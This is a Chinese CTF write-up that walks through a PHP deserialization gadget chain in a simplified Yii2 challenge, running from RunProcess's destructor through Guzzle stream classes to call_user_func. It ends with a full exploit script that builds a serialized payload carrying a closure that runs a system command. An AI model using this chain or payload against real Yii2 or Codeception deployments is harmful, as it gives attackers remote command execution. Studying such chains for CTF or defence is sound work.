题目开篇点题,直接说了是yii2的反序列化链,并且已经进行过简化了
那么首先肯定是要找可能会造成任意命令执行的函数,经过一番查找,在class文件夹中的PumpStream.php中找到了
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
而想要调用pump
函数,就需要想办法调用PumpStream
类中的read
函数
public function read($length)
{
$data = $this->buffer->read($length);
$readLen = strlen($data);
$this->tellPos += $readLen;
$remaining = $length - $readLen;
if ($remaining) {
$this->pump($remaining);
$data .= $this->buffer->read($remaining);
$this->tellPos += strlen($data) - $readLen;
}
return $data;
}
但是当想要调用read函数的时候,却发现在这个类中没有调用read函数的地方了,那么就得去其他类里面找。
在CachingStream
类中,也找到了一个read
函数
public function read($length)
{
$data = $this->stream->read($length);
$remaining = $length - strlen($data);
if ($remaining) {
$remoteData = $this->remoteStream->read(
$remaining + $this->skipReadBytes
);
if ($this->skipReadBytes) {
$len = strlen($remoteData);
$remoteData = substr($remoteData, $this->skipReadBytes);
$this->skipReadBytes = max(0, $this->skipReadBytes - $len);
}
$data .= $remoteData;
$this->stream->write($remoteData);
}
return $data;
}
并且可以看到第一行的$data = $this->stream->read($length);
,反序列化过程中,$this->stream
的值是可以控制的,这样就可以调用到PumpStream
类中的read
函数。CachingStream
中的链也很简单:rewind()->seek()->read()
下一步就是找调用rewind
函数的类,也就是AppendStream
类,其中有个魔术方法__toString()
:
public function __toString()
{
$this->rewind();
return "hahaha";
}
经过一番查找,只有RunProcess类中的stopProcess满足__toString的调用限制:
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
想办法控制$process->getCommandLine()
的返回值为AppendStream
对象即可。
而stopProcess
函数又是从__destruct()
函数中调用的,也就是说只要反序列化就会触发这个函数,到此为止,总算是拿到一条完整的链,但是想要成功getshell,还需要绕过一堆限制。
倒着找的结束了,该正着看了。
- 为了让
$this->output->debug
可以成功执行,需要让$this->output=new DefaultGenerator();
- 接着又为了触发
__toString()
,就需要让$process->getCommandLine()
返回一个AppendStream
对象,即$this->processes[] = new DefaultGenerator(new AppendStream());
。 进入到
AppendStream
类的__toString()
函数中,就是正常的函数调用到seek
函数中,基本上只有这一段是关键代码:foreach ($this->streams as $i => $stream) {
try {
$stream->rewind();
} catch (\Exception $e) {
throw new \RuntimeException('Unable to seek stream '
. $i . ' of the AppendStream', 0, $e);
}
}
为了让其调用
CachingStream
类中的rewind
函数,就需要给第2步中的AppendStream
对象加一个$this->streams[] = new CachingStream();
。进入到
CachingStream
类中,而这个类中要想调用read
函数,需要控制一些变量的值:public function seek($offset)
{
$byte = $offset;
$diff = $byte - $this->stream->getSize();
if ($diff > 0) {
while ($diff > 0 && !$this->remoteStream->eof()) {
$this->read($diff);
$diff = $byte - $this->stream->getSize();
}
} else {
$this->stream->seek($byte);
}
}
可以看到,在调用
read
函数之前,会有一个if
判断diff
的值,而$diff
的值是两个值相减得到的,$offset
是传进来的值,写死到程序里了,所以没办法修改,只能修改后面的$this->stream->getSize()
。令$this->stream = new PumpStream()
,同时声明$size
的值为一个负数。
接着往下走,到CachingStream
的read
函数中。第一句
$data = $this->stream->read($length);
public function read($length)
{
// Perform a regular read on any previously read data from the buffer
$data = $this->stream->read($length);
因为已经为
$this->stream
赋值过了,所以跳转到PumpStream
函数中的read
函数。想要进入
pump
函数,需要使$remaining
的值不为0:public function read($length)
{
$data = $this->buffer->read($length);
$readLen = strlen($data);
$this->tellPos += $readLen;
$remaining = $length - $readLen;
if ($remaining) {
$this->pump($remaining);
$data .= $this->buffer->read($remaining);
$this->tellPos += strlen($data) - $readLen;
}
return $data;
}
可以看到,
$remaining
的值是传进来的参数$length
和$this->buffer->read($length);
读到的值的长度,这两个值都是可控的,$length
是第4步中的PumpStream
的size
的值,而$this->buffer->read($length)
可以让$this->buffer=new DefaultGenerator()
,随便返回一个不大于$length
的值即可。终于到了最后一步:
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
这里就很简单了,前面创建
PumpStream
对象时,为$this->source
赋值即可,这里因为后面还有一个$length
参数会一块传过去,所以可以自己写一个函数,忽略掉这个函数,然后使用yii2自己的序列化和反序列化,得到函数。
exp: ```php <?php
namespace Codeception\Extension { use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream;
class RunProcess
{
protected $output;
private $processes = [];
public function __construct()
{
$this->processes[] = new DefaultGenerator(new AppendStream());
$this->output = new DefaultGenerator();
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker { class DefaultGenerator { protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7 {
use Faker\DefaultGenerator;
final class AppendStream
{
private $streams = [];
private $seekable = true;
public function __construct()
{
$this->streams[] = new CachingStream();
}
}
final class CachingStream
{
private $remoteStream;
public function __construct()
{
$this->remoteStream = new DefaultGenerator(false);
$this->stream = new PumpStream();
}
}
final class PumpStream
{
private $source;
private $size = -1;
private $buffer;
public function __construct()
{
$this->buffer = new DefaultGenerator();
include("closure/autoload.php");
$a = function ($arg) {
system('ls');
};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source = $b;
}
}
}